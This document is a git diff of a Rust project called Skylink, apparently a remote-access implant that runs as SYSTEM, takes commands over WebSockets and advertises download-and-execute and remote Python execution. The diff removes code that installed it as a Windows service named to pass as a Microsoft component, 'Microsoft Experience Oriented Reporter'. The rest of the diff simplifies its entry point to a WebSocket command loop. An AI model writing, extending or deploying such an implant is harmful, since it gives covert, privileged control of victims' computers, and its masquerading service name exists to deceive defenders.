diff --git a/Cargo.toml b/Cargo.toml index ca236a5..9978870 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,7 +5,7 @@ edition = "2024" build = "build.rs" [dependencies] -tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std", "signal" ] } +tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] } tokio-tungstenite = "0.28" reqwest = "0.12" serde = "1.0" @@ -25,7 +25,6 @@ anyhow = "1.0.100" futures-util = "0.3.31" ntapi = "0.4.1" sysinfo = "0.37.2" -windows-service = "0.8.0" [build-dependencies] dotenv = "0.15.0" diff --git a/README.md b/README.md index 20e61b7..2568c51 100644 --- a/README.md +++ b/README.md @@ -11,7 +11,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus - [X] basic commands - [X] download and execute - [X] dnx python -- [X] windows service +- [ ] windows service - [ ] criticality - [ ] screenshot functionality - [ ] test payloads with arguments diff --git a/src/main.rs b/src/main.rs index 20bdc49..b620bd4 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,169 +1,17 @@ +use futures_util::{SinkExt, stream::StreamExt}; use skylink::lib::logger::{LogLevel, log}; -use skylink::lib::websockets::websocket_handler; -use skylink::LOG_PATH; -use skylink::WsTx; +use skylink::{LOG_PATH, WS_URL}; +use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler}; use std::sync::Arc; use tokio::sync::Mutex; -use std::ffi::OsString; -use std::time::Duration; -use std::sync::mpsc::channel; +use tokio_tungstenite::tungstenite::protocol::Message; -use windows_service::{ - define_windows_service, - service::{ - ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, - ServiceType, - }, - service_control_handler::{self, ServiceControlHandlerResult}, - service_dispatcher, -}; - -const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter"; -const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS; - -fn main() -> Result<(), Box> { - // Initialize logging - - // Check if we are in a Debug build AND the environment variable is set - let is_debug_mode = cfg!(debug_assertions); - let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok(); - - if is_debug_mode && force_console { - println!("Detected Debug Env Var: Running as console application..."); - run_as_console()?; - } else { - // Run as a Windows Service - run_as_service()?; - } - - Ok(()) -} - -// ------------------------------------------------------------------------- -// SHARED BUSINESS LOGIC -// ------------------------------------------------------------------------- - -async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) { +#[tokio::main] +async fn main() -> anyhow::Result<()> { log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await; let ws_tx: WsTx = Arc::new(Mutex::new(None)); let ws_tx_for_handler = Arc::clone(&ws_tx); - websocket_handler(ws_tx_for_handler).await; - - // Wait for the shutdown signal - tokio::select! { - _ = shutdown_rx.recv() => { - log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await; - } - } -} - -// ------------------------------------------------------------------------- -// MODE 1: CONSOLE / DEBUG -// ------------------------------------------------------------------------- - -fn run_as_console() -> Result<(), Box> { - // Manually build the runtime because main() is synchronous - let rt = tokio::runtime::Runtime::new()?; - - rt.block_on(async { - // Create a channel to signal shutdown - let (tx, rx) = tokio::sync::broadcast::channel(1); - - // Handle Ctrl+C to behave like a polite console app - let tx_clone = tx.clone(); - tokio::spawn(async move { - if let Ok(()) = tokio::signal::ctrl_c().await { - println!("\nCtrl+C detected."); - let _ = tx_clone.send(()); - } - }); - - // Run the app - run_app(rx).await; - }); - - Ok(()) -} - -// ------------------------------------------------------------------------- -// MODE 2: WINDOWS SERVICE -// ------------------------------------------------------------------------- - -// Macro to generate the extern "system" entry point required by Windows -define_windows_service!(ffi_service_main, my_service_main); - -fn run_as_service() -> Result<(), windows_service::Error> { - service_dispatcher::start(SERVICE_NAME, ffi_service_main) -} - -fn my_service_main(_arguments: Vec) { - // 1. Setup the event handler to communicate with the OS - let (shutdown_tx, shutdown_rx) = channel(); - - let event_handler = move |control_event| -> ServiceControlHandlerResult { - match control_event { - ServiceControl::Stop | ServiceControl::Interrogate => { - // Signal the logic to stop - let _ = shutdown_tx.send(()); - ServiceControlHandlerResult::NoError - } - _ => ServiceControlHandlerResult::NotImplemented, - } - }; - - let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) { - Ok(h) => h, - Err(e) => { - eprintln!("Failed to register service control handler: {}", e); - return; - } - }; - - // 2. Tell Windows we are running - let next_status = ServiceStatus { - service_type: SERVICE_TYPE, - current_state: ServiceState::Running, - controls_accepted: ServiceControlAccept::STOP, - exit_code: ServiceExitCode::Win32(0), - checkpoint: 0, - wait_hint: Duration::default(), - process_id: None, - }; - if let Err(e) = status_handle.set_service_status(next_status) { - eprintln!("Failed to set service status: {}", e); - } - - // 3. Start Tokio Runtime and Block - // We create the runtime here because we are on the service thread provided by Windows. - let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod - - rt.block_on(async move { - let (async_tx, async_rx) = tokio::sync::broadcast::channel(1); - - // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel - tokio::spawn(async move { - // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking - // or just poll it if we expect it to be rare. - // Since this is the main logic block, we can just check it in a separate thread. - let _ = tokio::task::spawn_blocking(move || { - let _ = shutdown_rx.recv(); // Block waiting for OS stop command - }).await; - - let _ = async_tx.send(()); // Tell app to stop - }); - - run_app(async_rx).await; - }); - - // 4. Tell Windows we have stopped - let stop_status = ServiceStatus { - service_type: SERVICE_TYPE, - current_state: ServiceState::Stopped, - controls_accepted: ServiceControlAccept::empty(), - exit_code: ServiceExitCode::Win32(0), - checkpoint: 0, - wait_hint: Duration::default(), - process_id: None, - }; - let _ = status_handle.set_service_status(stop_status); + let handle = tokio::spawn(async { websocket_handler(ws_tx_for_handler).await }); + let _ = handle.await; + Ok(()) }